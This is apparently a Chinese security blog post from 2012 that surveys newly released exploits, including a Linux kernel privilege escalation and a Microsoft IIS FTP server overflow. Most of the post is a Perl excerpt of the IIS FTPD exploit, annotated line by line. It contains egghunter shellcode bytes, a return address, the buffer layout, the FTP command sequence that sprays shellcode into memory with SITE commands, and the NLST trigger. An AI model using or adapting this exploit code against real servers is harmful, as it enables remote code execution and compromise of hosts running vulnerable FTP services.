2012年(272)
分类: 网络与安全
2012-06-26 16:22:04
就像昨天大陆A股暴跌一样(15个月以来最大跌幅),今天exp也爆发了
linux内核提权的一下又出了几个exp,其中有一个
和上次的
sock_sendpage 都是google安全team的 Tavis Ormandy 等人发现的。
但是这个exp,从title看来,应该是0x82写的。
0x82-CVE-2009-2698
如果搞linux溢出有段时间的朋友,可能对他们会有印象,当年那个远程bypass
execshield的方法就是他们搞出来的。
在一个 so 中找一个固定不变的 retaddr,绕过堆栈不可执行。和windows里的利用方法很相似
如果我没记错的,这是个韩国的安全组织。
其次是,事隔这么多年,终于出现了
IIS FTPD的
0day。(注意,需要验明真假)
Kingcope发现的,exp也是他写的。
comment里明明写的keep
private,时间是这个月,也不知道谁给捅出来的。
同时也不知道这个洞的发现是不是这个月,还是说已经藏了很多年。
IIS6也受影响,但是受到stack
cookie的保护,也许可以覆盖SEH利用试试,我没环境调试,就不看这个漏洞了。
只是这个漏洞的出现仍然让我兴奋了一把,遥想当年servu溢出横行的年代,包括proftpd,wu-ftpd等一批FTPD被溢出的年代。
经常有朋友问,用啥FTP好啊,我们都笑言说用微软自带的FTP最安全,过了这么多年,红旗最终还是倒下了。
可惜这是一个post-auth的漏洞,就是需要有账户。
我们看看细节,我注释在下面的代码中:
$patch = "\x7E\xF1\xFA\x7F";
#比较通用的地址,不过不知道是哪个opcode,需要查一下
#$retaddr = "ZZZZ";
$retaddr = "\x9B\xB1\xF4\x77"; # JMP ESP univ on 2 win2k platforms # 真正的retaddr,不过这个不是通用地址,需要改成通用的
$v = "K***Y" . $sc . "V" x (500-length($sc)-5); # 构造shellcode
# top address of stack frame where shellcode resides, is hardcoded inside this
block
$findsc="\xB8\x55\x55\x52\x55\x35\x55\x55\x55\x55\x40\x81\x38\x53" #egghunter,用于找到真正的shellcode。注意,
作者的描述似乎是说把栈地址硬编码死了,所以直接用这段sc是不会溢出成功的!需要自己改
."\x45\x58\x59\x75\xF7\x40\x40\x40\x40\xFF\xFF\xE0";
# attack buffer
$c = $findsc . "C" . ($patch x (76/4)) . $patch.$patch. #真正的payload构造
($patch x (52/4))
.$patch."EEEE$retaddr".$patch.
"HHHHIIII".
$patch."JKKK"."\xE9\x63\xFE\xFF\xFF\xFF\xFF"."NNNN";
$x = <$sock>;
print $x;
print $sock "USER anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "PASS anonymous\r\n";
$x = <$sock>;
print $x;
print $sock "MKD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n"; # We store shellcode in memory of process
(stack) #多次重复构造shellcode塞进内存里,方便egghunter找到
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "SITE $v\r\n";
$x = <$sock>;
print $x;
print $sock "CWD w00t$port\r\n";
$x = <$sock>;
print $x;
print $sock "MKD CCC". "$c\r\n";
$x = <$sock>;
print $x;
print $sock "PORT $locip," . int($port / 256) . "," .
int($port % 256) . "\r\n";
$x = <$sock>;
print $x;
# TRIGGER
print $sock "NLST $c*/../C*/\r\n";
#注意这里,漏洞触发了!
$x = <$sock>;
print $x;
代码很简单,调试一下应该能够验明正身。
此外今天还出了个mailenable
1.52的exp,我看了下,是HTTP的。我以前写过很多mailenable的exp,也没有放出来,最终都烂掉了。
最后就是yahoo mail 新的xss,作者发在 sla.ckers论坛里了,并声称联系过yahoo,没有得到答复。
我就想,你真的有认真联系过yahoo安全team吗?他们其实很好找。但是现在很多报漏洞的,都是象征性的打打客服电话,就急不可耐的公开漏洞了!!!
PS: 补充,刚看了FD,IIS FTPD那个好像是kingscope自己捅出来的,由于触发漏洞前必须要 MKDIR一下,所以很多fuzzer没找到这个洞